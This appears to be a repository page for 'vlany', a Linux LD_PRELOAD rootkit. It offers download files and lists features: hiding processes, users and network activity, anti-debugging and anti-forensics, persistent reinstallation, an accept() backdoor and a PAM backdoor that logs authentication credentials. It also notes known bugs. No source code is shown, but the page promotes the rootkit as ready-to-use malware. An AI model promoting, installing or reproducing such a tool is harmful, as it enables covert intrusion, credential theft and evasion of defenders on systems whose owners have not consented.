dikien / vlany

Linux LD_PRELOAD rootkit (x86 and x86_64 architectures)

#Vlany ###A Linux (LD_PRELOAD) rootkit

##Downloads quick_install.sh
vlany.tar.gz

##Features

• Process hiding
• User hiding
• Network hiding
• LXC container
• Anti-Debug
• Anti-Forensics
• Persistent (re)installation & Anti-Detection
• backdoors
  • accept() backdoor (derived from Jynx2)
  • PAM backdoor
    • PAM auth logger
• vlany-exclusive commands

##Known bugs ###Serious bugs

1. There is currently only one significant bug in vlany, which unfortunately causes the box to be unable to reboot successfully. This bug arises from hide_checks.c @ hidden_xattr. It'll get fixed.

###Minor bugs

1. There is a weird bug where it shows a duplicate line in the w / who commands.

##In-depth README.txt